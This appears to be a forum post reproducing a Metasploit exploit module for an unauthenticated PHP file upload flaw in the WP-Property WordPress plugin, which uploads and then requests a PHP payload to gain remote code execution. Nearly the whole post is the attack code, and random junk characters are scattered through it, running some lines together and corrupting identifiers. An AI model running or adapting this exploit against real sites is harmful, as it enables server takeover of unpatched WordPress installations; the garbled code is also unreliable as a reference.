WordPress WP-Property PHP 文件上传漏洞
& E* a# s1 u7 F3 E2 q( L
) U! ~$ }( ]: F5 K/ B3 H ## # This file is part of the Metasploit Framework and may be subject to% c) l$ q" N( |5 T0 e0 \$ I
- k; y, R7 {4 C, L1 X# redistribution and commercial restrictions. Please see the Metasploit1 ~( s6 O! P7 r* P: ? c+ j5 E
7 ?: g' N, ?, O8 E3 t2 s8 K
# Framework web site for more information on licensing and terms of use.& X0 }, D5 Q! o
5 q& C+ K6 i" c. n! w! b7 g# http://metasploit.com/framework/ ##- k: `" F$ r5 P, I
[: F2 j6 q2 E0 f/ k8 ], Y
* u+ j0 ^; d! h% A9 |3 a
& c& a+ J" j- U+ i; w
" ]) f$ q3 P( ~3 |, x1 R* g5 e; }! {6 g
require 'msf/core'
4 e0 H4 G T( Z, d5 Srequire 'msf/core/exploit/php_exe'- @' s3 J8 @+ M# @, M
+ ^: A7 f. g* w- B; v
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
- c* R4 b" s$ y'Description' => %q{ p% B( l' D2 O1 j$ I) d' b
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
, r/ N% T" K% Y& k[% |3 j& P+ a* `$ t/ B$ W
'Sammy FORGIT', # initial discovery
4 Z" C* S" G7 S7 Y'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. T1 Y. d8 i' v1 q! R],$ U& h% W0 [$ P( D; j
'License' => MSF_LICENSE,1 }/ U+ ?7 j& S
'References' =>2 P, n/ @) _; }( a& V1 I
[7 v) d, |) R% R, c, F
[ 'OSVDB', '82656' ],
; E' D3 v" p% W9 }+ C[ 'BID', '53787' ],2 B1 Z* x0 y- R8 T
[ 'EDB', '18987'],
5 @- Q' _: q! K[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]! x( q9 y0 i' w2 w/ j+ R
], J9 z; a% X& W! e
'Payload' =>
# p2 Y; K' R- B% R: Z3 B- A1 ~{' P2 T9 t+ A* Y0 r
'BadChars' => "\x00",* N7 g: B7 Z% ]) F# B" k
},
% [8 \& g1 G+ h3 E/ t% c) L2 `1 X'Platform' => 'php',
) i9 F7 n8 N+ y: W" P'Arch' => ARCH_PHP,1 u$ f3 v, [8 e# {0 v
'Targets' =>
8 U0 m# F) S! c+ R[
! o' l x: x# w$ O[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],( Q% l: S5 i5 g# _3 W
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]2 S# G# S1 h5 J: T5 @: W: Y
],
2 X" _# v2 V9 o' ~5 E# @0 P. u' [ a'DefaultTarget' => 0,, u* z C0 Q, L5 @! n- p
'DisclosureDate' => 'Mar 26 2012')): d" e6 c. q8 l1 U3 U9 C" [
! M' W# ?) i" |1 p( {
register_options(: ]% V* F) h( y' ^- I
[
6 \# D, F4 h$ y9 H# r; Q \OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])! X# d( e- |( G! b8 i; x% E
], self.class)
" G) N) O* n1 }& D$ Dend
4 A B2 s2 w6 u, I6 q
1 C$ W9 W+ W0 a" ?8 V4 _% hdef check
5 C: }+ L7 V( v5 W- _uri = target_uri.path' @0 w/ P6 \ o+ V, K0 ^; [
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',2 u0 R) j8 M- G, e
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php". ~/ C/ h, ?8 w
})
" o5 m' p3 G$ b* h, @* j% Y% h. G( E8 B% u: G2 ^
if not res or res.code != 200
' z: n4 G2 {# ^5 g' Mreturn Exploit::CheckCode::Unknown
/ `0 [1 C" R; i5 _ d+ M g* J3 yend" E$ Y: f, b, f, |' ?) b
X6 Z2 v& b1 A
return Exploit::CheckCode::Appears2 h9 b; I6 I2 @; H. B$ ^+ C9 k& Y
end
" l8 `1 D- \# g5 ^# D
- p) T$ U# n4 [: _8 q: Qdef exploit5 z) N8 t3 W3 g' d4 W# J4 y6 i
uri = target_uri.path' ^- e/ W: W0 K0 s8 Q
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)3 f+ F3 S2 ?3 }
. s7 H, V- K8 D9 V9 Tdata = Rex::MIME::Message.new
5 U" `" S$ S' x( Z/ Edata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")) ~7 L/ E0 i/ D4 }5 J
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")& c5 P" N/ E5 C7 o) g
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
! [8 F. q( v0 K# Q2 d
. W7 C+ c& x" ~. A; h% ]9 n, kprint_status("#{peer} - Uploading payload #{@payload_name}")
' b' H3 L2 m. A7 q, y3 Bres = send_request_cgi({
' v- z) W( c) ]'method' => 'POST',
$ [2 D7 {! j( R, v* v- |'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",/ s- V6 S/ A4 X- q G: r
'ctype' => "multipart/form-data; boundary=#{data.bound}",
' F' A4 |. ?- a9 K% Y$ q5 M' j'data' => post_data0 n3 x; C; X/ c$ y
})4 M, ?/ V: S) O$ H8 b5 q
$ d# R* y: x: k* ?* A
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
0 U% e. G" t( M. i* u" l$ O0 z: Y9 Vfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
1 [' M; N7 i8 |* b0 e7 Dend: g3 p3 d, {4 ^* g. ~5 j
! N% `7 [. Y5 |$ {$ |upload_uri = res.body) l1 W! e+ `( J3 q5 d
+ f; M/ S6 u6 I6 I( v$ s
print_status("#{peer} - Executing payload #{@payload_name}")
+ Z. b# y0 h+ v% D; y8 U3 \8 xres = send_request_raw({6 x$ v u! Z1 c+ e: v
'uri' => upload_uri,6 Y, c; m9 E( a/ c7 E
'method' => 'GET'1 _- U& w" h6 i7 A
})( n; P8 C ~6 f3 |
end9 E( n3 B9 q; u
end& ~% U3 M! D4 L8 @/ H; s! K
6 V1 F/ W7 D9 ?$ |9 C* D& F
不要问我这写的是什么 怎么利用 我是说msf.
% S3 d# G+ A8 Y4 C& O: p' U$ Y5 R- L' G- T; C9 T5 o
|